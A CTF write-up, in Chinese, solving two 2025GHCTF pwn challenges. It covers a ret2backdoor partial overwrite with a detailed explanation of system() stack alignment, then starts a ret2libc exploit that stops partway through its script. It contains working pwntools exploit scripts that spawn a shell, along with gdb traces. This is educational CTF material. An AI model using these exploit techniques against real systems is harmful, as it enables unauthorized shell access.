2025GHCTF

2025GHCTF_WP

Welcome come to the world of PWN

IDA

ida_main:

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
out();
func1();
return 0;
}

ida_out:

1
2
3
4
5
6
7
8
9
int out()
{
puts("***** * * ***** ****** ***** ");
puts("* * * * * * ");
puts("* **** ***** * * ***** ");
puts("* * * * * * * ");
puts("***** * * ***** * * ");
return puts("Hello pwner!");
}

ida_fun1:

1
2
3
4
5
6
ssize_t func1()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x40uLL);
}

ida_backdoor:

1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

checksec

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/111/pwn1$ checksec attachment
[*] '/mnt/d/111/pwn1/attachment'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

gdb_funciton:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ info function
All defined functions:

Non-debugging symbols:
0x0000000000000728 _init
0x0000000000000760 puts@plt
0x0000000000000770 system@plt
0x0000000000000780 read@plt
0x0000000000000790 __libc_start_main@plt
0x00000000000007a0 setvbuf@plt
0x00000000000007b0 __gmon_start__@plt
0x00000000000007b8 __cxa_finalize@plt
0x00000000000007c0 _start
0x00000000000007f0 deregister_tm_clones
0x0000000000000830 register_tm_clones
0x0000000000000880 __do_global_dtors_aux
0x00000000000008c0 frame_dummy
0x00000000000008f0 func1
0x0000000000000911 init
0x0000000000000972 out
0x00000000000009c1 backdoor
0x00000000000009d4 main
0x0000000000000a00 __libc_csu_init
0x0000000000000a70 __libc_csu_fini
0x0000000000000a74 _fini

我的基本思路是覆盖ret_addr的低四位,有一个16进制位不确定,随后就尝试爆破

这是我最初的题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

backdoor_addr = b'\xc1' + b'\x09'

payload1 = b'a'* ( 0x20 + 0x8 ) + backdoor_addr

count = 1
while True:
p = process("./attachment")
try:
count += 1
print(count,end=' ')
p.recvuntil(b"Hello pwner!\n")
p.send(payload1)
recv = p.recv(timeout=10)
except:
print("error",end=' ')
else:
p.interactive()
break

但是尝试后不行

随后观察到这个main函数的地址和back_door的地址其实只有最后两个十六进制位不同

1
2
0x00000000000009c1  backdoor
0x00000000000009d4 main

所以只需要覆盖低两位,并且就不用再爆破了

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./attachment')

backdoor_addr = b'\xc1'
payload1 = b'a'*( 0x20+0x8 ) + backdoor_addr

p.send(payload1)
sleep(0.5)
p.interactive()

随后发现还是不行

再次用gdb调试

我不太熟悉动调,目前只会加pause()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./attachment')

backdoor_addr = b'\xc9'

payload1 = b'a'* ( 0x20 + 0x8 ) + backdoor_addr

pause()
p.send(payload1)
sleep(0.5)
p.interactive()

gdb attach接管后的情况

未送入payload1前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00
RBX: 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment")
RCX: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000)
RDX: 0x40 ('@')
RSI: 0x7ffc20be24f0 --> 0x0
RDI: 0x0
RBP: 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
RSP: 0x7ffc20be24e8 --> 0x56531f60090e (<func1+30>: nop)
RIP: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000)
R8 : 0xc ('\x0c')
R9 : 0x7f49533a0380 (<_dl_fini>: endbr64)
R10: 0x7f49531919d8 --> 0x11001200001bd3
R11: 0x246
R12: 0x1
R13: 0x0
R14: 0x0
R15: 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f495329ca5b <__GI___libc_read+11>: je 0x7f495329ca70 <__GI___libc_read+32>
0x7f495329ca5d <__GI___libc_read+13>: xor eax,eax
0x7f495329ca5f <__GI___libc_read+15>: syscall
=> 0x7f495329ca61 <__GI___libc_read+17>: cmp rax,0xfffffffffffff000
0x7f495329ca67 <__GI___libc_read+23>: ja 0x7f495329cab8 <__GI___libc_read+104>
0x7f495329ca69 <__GI___libc_read+25>: ret
0x7f495329ca6a <__GI___libc_read+26>: nop WORD PTR [rax+rax*1+0x0]
0x7f495329ca70 <__GI___libc_read+32>: push rbp
[------------------------------------stack-------------------------------------]
0000| 0x7ffc20be24e8 --> 0x56531f60090e (<func1+30>: nop)
0008| 0x7ffc20be24f0 --> 0x0
0016| 0x7ffc20be24f8 --> 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f
0024| 0x7ffc20be2500 --> 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
0032| 0x7ffc20be2508 --> 0x56531f6009be (<out+76>: nop)
0040| 0x7ffc20be2510 --> 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
0048| 0x7ffc20be2518 --> 0x56531f6009f6 (<main+34>: mov eax,0x0)
0056| 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007f495329ca61 in __GI___libc_read (fd=0x0, buf=0x7ffc20be24f0, nbytes=0x40) at ../sysdeps/unix/sysv/linux/read.c:26
warning: 26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment'
RCX 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x40
RDI 0
RSI 0x7ffc20be24f0 ◂— 0
R8 0xc
R9 0x7f49533a0380 (_dl_fini) ◂— endbr64
R10 0x7f49531919d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0
R15 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047
RBP 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0
RSP 0x7ffc20be24e8 —▸ 0x56531f60090e (func1+30) ◂— nop
RIP 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
► 0x7f495329ca61 <read+17> cmp rax, -0x1000 0xfffffffffffffe00 - -0x1000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
0x7f495329ca67 <read+23> ✔ ja read+104 <read+104>

0x7f495329cab8 <read+104> mov rdx, qword ptr [rip + 0xe7339] RDX, [_GLOBAL_OFFSET_TABLE_+632] => 0xffffffffffffff88
0x7f495329cabf <read+111> neg eax
0x7f495329cac1 <read+113> mov dword ptr fs:[rdx], eax [0x7f495317e6c8] <= 0x200
0x7f495329cac4 <read+116> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f495329cacb <read+123> ret <func1+30>

0x56531f60090e <func1+30> nop
0x56531f60090f <func1+31> leave
0x56531f600910 <func1+32> ret <main+34>

0x56531f6009f6 <main+34> mov eax, 0 EAX => 0
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc20be24e8 —▸ 0x56531f60090e (func1+30) ◂— nop
01:0008│ rsi 0x7ffc20be24f0 ◂— 0
02:0010│-018 0x7ffc20be24f8 —▸ 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047
03:0018│-010 0x7ffc20be2500 —▸ 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— ...
04:0020│-008 0x7ffc20be2508 —▸ 0x56531f6009be (out+76) ◂— nop
05:0028│ rbp 0x7ffc20be2510 —▸ 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0
06:0030│+008 0x7ffc20be2518 —▸ 0x56531f6009f6 (main+34) ◂— mov eax, 0
07:0038│+010 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x7f495329ca61 read+17
1 0x56531f60090e func1+30
2 0x56531f6009f6 main+34
3 0x7f49531ab1ca __libc_start_call_main+122
4 0x7f49531ab28b __libc_start_main+139
5 0x56531f6007e9 _start+41
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

说实话,我不知道给我干哪来了,这还是国内吗?

反正应该就是读取前吧

送入payload1后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x29 (')')
RBX: 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment")
RCX: 0x7f495329ca61 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000)
RDX: 0x40 ('@')
RSI: 0x7ffc20be24f0 ('a' <repeats 40 times>, "\311\t`\037SV")
RDI: 0x0
RBP: 0x6161616161616161 ('aaaaaaaa')
RSP: 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
RIP: 0x56531f6009c9 (<backdoor+8>: add DWORD PTR [rax],eax)
R8 : 0xc ('\x0c')
R9 : 0x7f49533a0380 (<_dl_fini>: endbr64)
R10: 0x7f49531919d8 --> 0x11001200001bd3
R11: 0x246
R12: 0x1
R13: 0x0
R14: 0x0
R15: 0x7f49533d3000 --> 0x7f49533d42e0 --> 0x56531f600000 --> 0x10102464c457f
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x56531f6009c9 <backdoor+8>: add DWORD PTR [rax],eax
0x56531f6009cb <backdoor+10>: add al,ch
0x56531f6009cd <backdoor+12>: lahf
0x56531f6009ce <backdoor+13>: std
[------------------------------------stack-------------------------------------]
0000| 0x7ffc20be2520 --> 0x7ffc20be25c0 --> 0x7ffc20be2620 --> 0x0
0008| 0x7ffc20be2528 --> 0x7f49531ab1ca (<__libc_start_call_main+122>: mov edi,eax)
0016| 0x7ffc20be2530 --> 0x7ffc20be2570 --> 0x0
0024| 0x7ffc20be2538 --> 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment")
0032| 0x7ffc20be2540 --> 0x11f600040
0040| 0x7ffc20be2548 --> 0x56531f6009d4 (<main>: push rbp)
0048| 0x7ffc20be2550 --> 0x7ffc20be2648 --> 0x7ffc20be41b3 ("./attachment")
0056| 0x7ffc20be2558 --> 0x81cc8af4cf836652
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000056531f6009c9 in backdoor ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX 0x29
RBX 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment'
RCX 0x7f495329ca61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x40
RDI 0
RSI 0x7ffc20be24f0 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0xc
R9 0x7f49533a0380 (_dl_fini) ◂— endbr64
R10 0x7f49531919d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0
R15 0x7f49533d3000 (_rtld_global) —▸ 0x7f49533d42e0 —▸ 0x56531f600000 ◂— jg 0x56531f600047
*RBP 0x6161616161616161 ('aaaaaaaa')
*RSP 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0
*RIP 0x56531f6009c9 (backdoor+8) ◂— add dword ptr [rax], eax
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
► 0x56531f6009c9 <backdoor+8> add dword ptr [rax], eax
0x56531f6009cb <backdoor+10> add al, ch
0x56531f6009cd <backdoor+12> lahf
0x56531f6009ce <backdoor+13> std







────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffc20be2520 —▸ 0x7ffc20be25c0 —▸ 0x7ffc20be2620 ◂— 0
01:0008│ 0x7ffc20be2528 —▸ 0x7f49531ab1ca (__libc_start_call_main+122) ◂— mov edi, eax
02:0010│ 0x7ffc20be2530 —▸ 0x7ffc20be2570 ◂— 0
03:0018│ 0x7ffc20be2538 —▸ 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment'
04:0020│ 0x7ffc20be2540 ◂— 0x11f600040 /* '@' */
05:0028│ 0x7ffc20be2548 —▸ 0x56531f6009d4 (main) ◂— push rbp
06:0030│ 0x7ffc20be2550 —▸ 0x7ffc20be2648 —▸ 0x7ffc20be41b3 ◂— './attachment'
07:0038│ 0x7ffc20be2558 ◂— 0x81cc8af4cf836652
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x56531f6009c9 backdoor+8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

反正看gdb的调试情况确实跳转到后门函数里面了,但是程序却死了

这个时候就具体看看汇编的代码:
assembly_backdoor:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00000000000009C1                 public backdoor
.text:00000000000009C1 backdoor proc near
.text:00000000000009C1 ; __unwind {
.text:00000000000009C1 push rbp
.text:00000000000009C2 mov rbp, rsp
.text:00000000000009C5 lea rdi, command ; "/bin/sh"
.text:00000000000009CC call _system
.text:00000000000009D1 nop
.text:00000000000009D2 pop rbp
.text:00000000000009D3 retn
.text:00000000000009D3 ; } // starts at 9C1
.text:00000000000009D3 backdoor endp

如果将溢出的返回地址改为后门的首地址,即b’\xc1’

再进行动调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7f78bff7dd58 --> 0x7ffce80bf788 --> 0x7ffce80c11c0 ("SHELL=/bin/bash")
RBX: 0x7ffce80bf4b8 --> 0xc ('\x0c')
RCX: 0x7ffce80bf4b8 --> 0xc ('\x0c')
RDX: 0x0
RSI: 0x7f78bff3e42f --> 0x68732f6e69622f ('/bin/sh')
RDI: 0x7ffce80bf2a4 --> 0xc00005565 ('eU')
RBP: 0x7ffce80bf318 --> 0x0
RSP: 0x7ffce80bf298 --> 0x7ffce80bf620 --> 0x7ffce80bf778 --> 0x7ffce80c11b3 ("./attachment")
RIP: 0x7f78bfdcb43b (<do_system+363>: movaps XMMWORD PTR [rsp+0x50],xmm0)
R8 : 0x7ffce80bf2e8 --> 0xffffffff
R9 : 0x7ffce80bf788 --> 0x7ffce80c11c0 ("SHELL=/bin/bash")
R10: 0x8
R11: 0x246
R12: 0x556507a00b5b --> 0x68732f6e69622f ('/bin/sh')
R13: 0x0
R14: 0x0
R15: 0x7f78bffc5000 --> 0x7f78bffc62e0 --> 0x556507a00000 --> 0x10102464c457f
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f78bfdcb428 <do_system+344>: lea rsi,[rip+0x173000] # 0x7f78bff3e42f
0x7f78bfdcb42f <do_system+351>: mov QWORD PTR [rsp+0x70],0x0
0x7f78bfdcb438 <do_system+360>: mov r9,QWORD PTR [rax]
=> 0x7f78bfdcb43b <do_system+363>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x7f78bfdcb440 <do_system+368>: call 0x7f78bfe81ca0 <__GI___posix_spawn>
0x7f78bfdcb445 <do_system+373>: mov rdi,rbx
0x7f78bfdcb448 <do_system+376>: mov r12d,eax
0x7f78bfdcb44b <do_system+379>: call 0x7f78bfe82180 <__posix_spawnattr_destroy>
[------------------------------------stack-------------------------------------]
0000| 0x7ffce80bf298 --> 0x7ffce80bf620 --> 0x7ffce80bf778 --> 0x7ffce80c11b3 ("./attachment")
0008| 0x7ffce80bf2a0 --> 0x5565ffffffff
0016| 0x7ffce80bf2a8 --> 0xc ('\x0c')
0024| 0x7ffce80bf2b0 --> 0x7f78bff92380 (<_dl_fini>: endbr64)
0032| 0x7ffce80bf2b8 --> 0x7f78bffc6680 --> 0x7f78bffc65d8 --> 0x7f78bff8b6c0 --> 0x7f78bffc62e0 --> 0x556507a00000 (--> ...)
0040| 0x7ffce80bf2c0 --> 0x7ffce80bf2f0 --> 0x7f78bfd870c8 --> 0x110012000007e6
0048| 0x7ffce80bf2c8 --> 0x7f7800000001
0056| 0x7ffce80bf2d0 --> 0x7f78bffc62e0 --> 0x556507a00000 --> 0x10102464c457f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007f78bfdcb43b in do_system (line=0x556507a00b5b "/bin/sh") at ../sysdeps/posix/system.c:148
warning: 148 ../sysdeps/posix/system.c: No such file or directory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX 0x7f78bff7dd58 (environ) —▸ 0x7ffce80bf788 —▸ 0x7ffce80c11c0 ◂— 'SHELL=/bin/bash'
*RBX 0x7ffce80bf4b8 ◂— 0xc /* '\x0c' */
*RCX 0x7ffce80bf4b8 ◂— 0xc /* '\x0c' */
*RDX 0
*RDI 0x7ffce80bf2a4 ◂— 0xc00005565 /* 'eU' */
*RSI 0x7f78bff3e42f ◂— 0x68732f6e69622f /* '/bin/sh' */
*R8 0x7ffce80bf2e8 ◂— 0xffffffff
*R9 0x7ffce80bf788 —▸ 0x7ffce80c11c0 ◂— 'SHELL=/bin/bash'
*R10 8
R11 0x246
*R12 0x556507a00b5b ◂— 0x68732f6e69622f /* '/bin/sh' */
R13 0
R14 0
R15 0x7f78bffc5000 (_rtld_global) —▸ 0x7f78bffc62e0 —▸ 0x556507a00000 ◂— jg 0x556507a00047
*RBP 0x7ffce80bf318 ◂— 0
*RSP 0x7ffce80bf298 —▸ 0x7ffce80bf620 —▸ 0x7ffce80bf778 —▸ 0x7ffce80c11b3 ◂— './attachment'
*RIP 0x7f78bfdcb43b (do_system+363) ◂— movaps xmmword ptr [rsp + 0x50], xmm0
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
► 0x7f78bfdcb43b <do_system+363> movaps xmmword ptr [rsp + 0x50], xmm0 <[0x7ffce80bf2e8] not aligned to 16 bytes>
0x7f78bfdcb440 <do_system+368> call posix_spawn <posix_spawn>

0x7f78bfdcb445 <do_system+373> mov rdi, rbx
0x7f78bfdcb448 <do_system+376> mov r12d, eax
0x7f78bfdcb44b <do_system+379> call posix_spawnattr_destroy <posix_spawnattr_destroy>

0x7f78bfdcb450 <do_system+384> test r12d, r12d
0x7f78bfdcb453 <do_system+387> je do_system+632 <do_system+632>

0x7f78bfdcb459 <do_system+393> mov dword ptr [rsp + 8], 0x7f00
0x7f78bfdcb461 <do_system+401> xor eax, eax EAX => 0
0x7f78bfdcb463 <do_system+403> mov edx, 1 EDX => 1
0x7f78bfdcb468 <do_system+408> lock cmpxchg dword ptr [rip + 0x1ad070], edx
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffce80bf298 —▸ 0x7ffce80bf620 —▸ 0x7ffce80bf778 —▸ 0x7ffce80c11b3 ◂— './attachment'
01:0008│ rdi-4 0x7ffce80bf2a0 ◂— 0x5565ffffffff
02:0010│-070 0x7ffce80bf2a8 ◂— 0xc /* '\x0c' */
03:0018│-068 0x7ffce80bf2b0 —▸ 0x7f78bff92380 (_dl_fini) ◂— endbr64
04:0020│-060 0x7ffce80bf2b8 —▸ 0x7f78bffc6680 —▸ 0x7f78bffc65d8 —▸ 0x7f78bff8b6c0 —▸ 0x7f78bffc62e0 ◂— ...
05:0028│-058 0x7ffce80bf2c0 —▸ 0x7ffce80bf2f0 —▸ 0x7f78bfd870c8 ◂— 0x110012000007e6
06:0030│-050 0x7ffce80bf2c8 ◂— 0x7f7800000001
07:0038│-048 0x7ffce80bf2d0 —▸ 0x7f78bffc62e0 —▸ 0x556507a00000 ◂— jg 0x556507a00047
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
► 0 0x7f78bfdcb43b do_system+363
1 0x556507a009d1 backdoor+16
2 0x7ffce80bf6f0 None
3 0x7f78bfd9d1ca __libc_start_call_main+122
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

观察到程序卡在了

1
0x7f78bfdcb43b <do_system+363>    movaps xmmword ptr [rsp + 0x50], xmm0     <[0x7ffce80bf2e8] not aligned to 16 bytes>

这说明没有对齐栈,system()要求16字节对齐

1
pop rbp

改变了原本对齐的结果使得低十六位不为0

所以system()卡住了,backdoor函数改变了栈的结构

最后使得rsp没有十六进制对齐

所以要跳过前两个保存栈帧的语句

也就是将b’\xc1’改成b’\xc5’,从而跳过保留栈帧的语句

最终的题解如下

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote('node2.anna.nssctf.cn',28306)

backdoor_addr = b'\xc5'

payload1 = b'a'* (0x20+0x8) + backdoor_addr
pause()
r.send(payload1)
sleep(0.5)

r.interactive()

栈对齐–getshell的临门一脚

64位ubuntu系统调用system函数时是需要栈对齐的。

再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,说简单一点就是在将要调用system函数的时候,rsp指向的地址末尾需是0。

在64位程序中,栈地址的最后一位不是0就是8

详细原理介绍

1
► 0x7f78bfdcb43b <do_system+363>    movaps xmmword ptr [rsp + 0x50], xmm0     <[0x7ffce80bf2e8] not aligned to 16 bytes>

将xmm0中保存的单精度浮点数从xmm0移动至地址[rsp + 0x50]处

当然,更重要的是这条指令的执行条件,这直接关系到程序报错的原因。

当内存地址作为操作数时,内存地址必须对齐 16Byte32Byte64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。

使用 XMM 时,需要 16Byte 对齐;使用 YMM 时,需要 32Byte 对齐;使用 ZMM 时,需要 64Byte 对齐。

ret2libc1

IDA

IDA_main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( (unsigned int)read_count() )
{
case 1u:
flower();
break;
case 2u:
books();
break;
case 3u:
hell_money();
break;
case 4u:
clothing();
break;
case 5u:
shop();
break;
case 6u:
check_money();
break;
case 7u:
see_it();
break;
default:
puts("Invalid choose");
break;
}
}
}

IDA_menu:

1
2
3
4
5
6
7
8
9
10
int menu()
{
puts("Welcome to shop, what do you buy?");
puts("1.flowers");
puts("2.books");
puts("3.hell money");
puts("4.clothing");
puts("5.buy my shop");
return puts("6.check youer money");
}

IDA_flower:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int flower()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int count; // [rsp+Ch] [rbp-4h]

puts("Which kind of flower would you like buy?");
puts("1.peony $10");
puts("2.rose $100");
puts("3.fragrans $20");
count = read_count();
puts("How many flowers do you want to buy?");
v1 = read_count();
switch ( count )
{
case 2:
if ( 100 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 100 * v1;
money = result;
break;
case 3:
if ( 20 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 20 * v1;
money = result;
break;
case 1:
if ( 10 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 10 * v1;
money = result;
break;
default:
return puts("Invalid choose");
}
return result;
}

IDA_books:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int books()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
int count; // [rsp+Ch] [rbp-4h]

puts("Which kind of books would you like buy?");
puts("1.story books $10");
puts("2.novel books $80");
puts("3.note books $20");
count = read_count();
puts("How many books do you want to buy?");
v1 = read_count();
switch ( count )
{
case 2:
if ( 80 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 80 * v1;
money = result;
break;
case 3:
if ( 20 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 20 * v1;
money = result;
break;
case 1:
if ( 10 * v1 > (unsigned int)money )
puts("Don't have enough money");
result = money - 10 * v1;
money = result;
break;
default:
return puts("Invalid choose");
}
return result;
}

IDA_hell_money:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int hell_money()
{
int result; // eax
unsigned int count; // [rsp+Ch] [rbp-4h]

puts("1$ = 1000hell_money");
puts("How much do you want to spend buying the hell_money?");
count = read_count();
if ( money < count )
return puts("Don't have enough money");
result = what_can_I_say + 1000 * count;
what_can_I_say = result;
return result;
}

IDA_clothing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int clothing()
{
int result; // eax
int count; // [rsp+Ch] [rbp-4h]

puts("the price of clothing is 50$");
puts("How much do you want to buy");
count = read_count();
if ( 50 * count > (unsigned int)money )
return puts("Don't have enough money");
result = money - 50 * count;
money = result;
return result;
}

IDA_shop:

1
2
3
4
5
6
7
8
9
10
11
12
int shop()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Do you want to buy my shop?");
if ( money <= 100000 )
return puts("roll!");
money -= 100000;
puts("give you my shop!!!");
puts("You can name it!!!");
return read(0, buf, 0x80uLL);
}

IDA_check_money:

1
2
3
4
5
int check_money()
{
printf("you have %d $\n", (unsigned int)money);
return printf("you have %d hell_money\n", (unsigned int)what_can_I_say);
}

IDA_see_it

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 see_it()
{
__int64 result; // rax
int count; // [rsp+Ch] [rbp-4h]

puts("Barter?!1000$ = 1hell_money");
printf("How much do you exchange?");
count = read_count();
what_can_I_say -= count;
result = (unsigned int)(money + 1000 * count);
money += 1000 * count;
return result;
}

首先看到函数shop有个读的明显栈溢出漏洞,随后观察其他函数逻辑,发现这个子函数有一个编写逻辑存在问题,hell_money换钱但是不扣钱,在目录外的7又可以将另一种钱换回来,所以就有钱买店,顺利进入shop函数的读取漏洞

checksec

1
2
3
4
5
6
7
8
briteny@localhost:/mnt/d/111/pwn2$ checksec attachment
[*] '/mnt/d/111/pwn2/attachment'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

ROPgadget

1
0x0000000000400d73 : pop rdi ; ret

泄露libc基址的payload构造

high_addr
start_addr
put_plt
puts_got
ret_addr [ pop_rdi_ret_addr ]
缓冲区+old_ebp
low_addr

构造getshell的栈的思路

high_addr
ret_addr
system_addr
binsh_addr
ret_addr [ pop_rdi_ret_addr ]
缓冲区+old_ebp
low_addr

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc.so.6')
f = ELF('./attachment')
p=remote('node2.anna.nssctf.cn',28830)
#p=process('./attachment')
#进入溢出攻击位置
p.recvuntil(b'6.check youer money\n')
p.sendline(b'3')
p.recvuntil(b'How much do you want to spend buying the hell_money?\n')
p.sendline(b'1000')
p.recvuntil(b'6.check youer money\n')
p.sendline(b'7')
